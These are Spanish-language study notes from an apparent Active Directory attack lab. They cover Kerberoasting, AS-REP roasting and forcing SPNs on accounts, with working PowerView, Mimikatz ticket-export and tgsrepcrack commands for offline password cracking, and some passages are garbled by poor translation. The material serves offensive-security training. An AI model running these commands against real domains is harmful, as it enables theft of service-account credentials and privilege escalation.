# 16. Domain Privilege Escalation Kerberoast - O14,15,16
## Priv Esc - Kerberoast
Después del paso 4 cuando el KDC responde con el TGS que es ciframos la cuenta de servicios de destino en NTLM hash que es el final del paso 4. En un flujo de trabajo normal, respondemos, nosotros presente ese TGS en particular al servidor de aplicaciones, ese es el flujo normal de trabajo, recibimos un TGS que está encriptado con los servicios de destino y luego lo presentamos al ticket para el servicio, ¿y si no presentamos ese TGS al servicio en el final del paso 4 pero guardamos ese TGS en el disco y se realiza fuerza bruta offline?
El TGS tiene una parte del servidor del servidor que está encriptada con la cuenta de servicio útil de contraseña o el hash NTLM del servicio de cuenta, esto hace posible guardarlo en el disco y fuerza bruta offline. AHora, por qué está offline no tiene bloqueo y podemos arrojar cualquier recursoque tengamos en él podemos exfiltrar el TGS.
Hay un problema con el ataque de kerberoast, aunque lo que estamos haciendo cuando guardamos los TGS en el disco y usemos fuerza bruta ¿Cómo hacemos fuerza bruta offline?
POdemos descrifrar el ticket, ahora si apuntamos a una cuenta de servicio que es una cuenta máquina, lo que estamos buscando es tratar de obtener la contraseña de texto sin cifrar de una cuenta de servicio. Las contraseñas de cuenta de máquina no lo son Enviado establecido por humanos. Las contraseñas de cuentas máquinas son establecidas por máquinas y las máquinas son buenas para las contraseñas. ES casi imposible adivinar la contraseña cuenta de una máquina, por lo tanto lo que haremos en el caso de un host encubierto se centrará especificamente solo en las cuentas de usuario, solo en aquellas cuentas de usuario que se utilizan como cuentas de servicio.
Ahora, ¿Cómo sabe el controlador de dominio cuál cuenta de usuario o qué de dominio con nombre se usa como cuenta de máquina como cuenta de servicio?
Debido a una propiedad especial en cada cuenta, si el nombre principal del servicio es un atributo de cada cuenta de dominio si se completa si no es nulo. Entonces el controlador de dominio asume o el KDC asume que esta cuenta se usa como una cuenta de servicio, así es como buscamos esas cuentas de usuarioo cuentas con nombre que se usan cómo cuentas de servicio.
- Offline cracking of service account passwords
- The Kerberos session ticket(TGS) has a server portion which is encrypted with the password hash of service account. This makes it possibleto request a ticket and do offline password attack.
- Service accounts are many times ignored(passwords are rarely changed) and have privileged access.
- Password hashes of service accounts could be used to create Silver tickets.
## Find user accounts used as Service accounts:
Powerview
```
Get-NetUser -SPN
```
ActiveDirectory module
```
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```
Aqui obtenemos la cuenta krbtgt que tiene un `ServicePrincipalName` no nulo, también se tienen las cuentas `svc admin` y `web svc`.
¿A cuál de estos apuntamos?
## Request a TGS
Podemos solicitar un TGS una vez que tengamos un TGT válido para cualquier servicio registrado con el DC.
```
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
```
```
klist
```
Se tiene el TGS en memoria pero se debe guardar en el disco, primero se verá todos los tickets de la memoria:
```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```
## Request-SPNTicket from PowerView can be used as well for cracking with John or Hashcat
## Crack th Service account password
```
python.exe .\tgsrepcrack.py .\k-worst-pass.txt .\2-40a10000-student1@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi
```
## Learning Objective 14:
## Priv Esc - Targeted Kerberoasting - AS-REPs
- If a user's UserAccountControl setting have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline
- With sufficient rights(GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.
¿Qué es una autenticación previa de Kerberos?
## Enumerating accounts with Kerberos Preauth disabled
Powerview
```
Get-DomainUser -PreauthNotRequired -Verbose
```
ActiveDirectory module
```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```
## Let's enumerate the permissions for RDPUsers on ACLs using PowerView(dev):
Enumerar los usuarios que tiene los permisos para escribir sus propiedades de control total
```
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
```
```
Set-DomainObject -Identity ControlUser -XOR @{useraccountcontrol=4194304} -Verbose
```
```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```
## Request encrypted AS-REP for offline brute-force
Let's use ASREPRoast
```
Get-ASREPHash -UserName VPN1user -Verbose
```
To enumerate all users with Kerberos preauth disabled and request a hash
```
Invoke-ASREPRoast -Verbose
```
## Learning Objective 15:
## Priv Esc - Targeted Kerberoasting - Set SPN
- With enough rights(GenericAll/GenericWrite), a target user's SPN can be set to anything(unique in the domain).
- We can the request a TGS without special privileges. The TGS can then be "Kerberoasted"
## Learning Objective 16:
Task
- Determine if studentx has permissions to set UserAccountControl flags for any user.
- If yes, force set a SPN on the user and obtain a TGS for the user.
Solución
Comprobemos si studentx tiene permisos para establecer la configuración del Control de Cuentas de Usuario para cualquier usuario.
Como hicimos anteriormente, también miraremos si el grupo RDPUsers tiene permisos interesantes
```
PS C:\AD\Tools> . .\PowerView_dev.ps1
PS C:\AD\Tools> Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
```
Comprobemos si el usuario supportX ya tiene un SPN:
```
PS C:\AD\Tools> Get-DomainUser -Identity supportXuser | select serviceprincipalname
```
Ya que studentx tiene derechos GenericAll sobre el usuario de supportx, vamos a forzar el establecimiento de un SPN en él:
```
PS C:\AD\Tools> Set-DomainObject -Identity supportXuser -Set @{serviceprincipalname='dcorp/whateverX'} -Verbose
```
Ahora, una vez más, comprueba el SPN de supportx:
```
PS C:\AD\Tools> Get-DomainUser -Identity supportXuser | select serviceprincipalname
```
Ahora, solicita un TGS para el SPN y guárdalo para la fuerza bruta offline:
```
PS C:\AD\Tools> Add-Type -AssemblyName System.IdentityModel
PS C:\AD\Tools> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "dcorp/whateverX"
```
```
PS C:\AD\Tools> klist
```
Guardar el ticket para la fuerza bruta offline:
```
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
PS C:\AD\Tools> cd .\kerberoast\
PS C:\AD\Tools\kerberoast> Invoke-Mimikatz -Command '"kerberos::list /export"'
```
```
mimikatz(powershell) # kerberos::list /export
```
Ahora se hace fuerza bruta del ticket:
```
PS C:\AD\Tools\kerberoast> python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\2-40a10000-studentx@dcorp/whateverX-DOLLARCORP.MONEYCORP.LOCAL.kirbi
```
Como alternativa se puede usar PowerView_dev para solicitar el hash:
```
PS C:\AD\Tools> Get-DomainUser -Identity supportXuser | Get-DomainSPNTicket | select -ExpandProperty Hash
```
Sign in with Wallet
Connect another wallet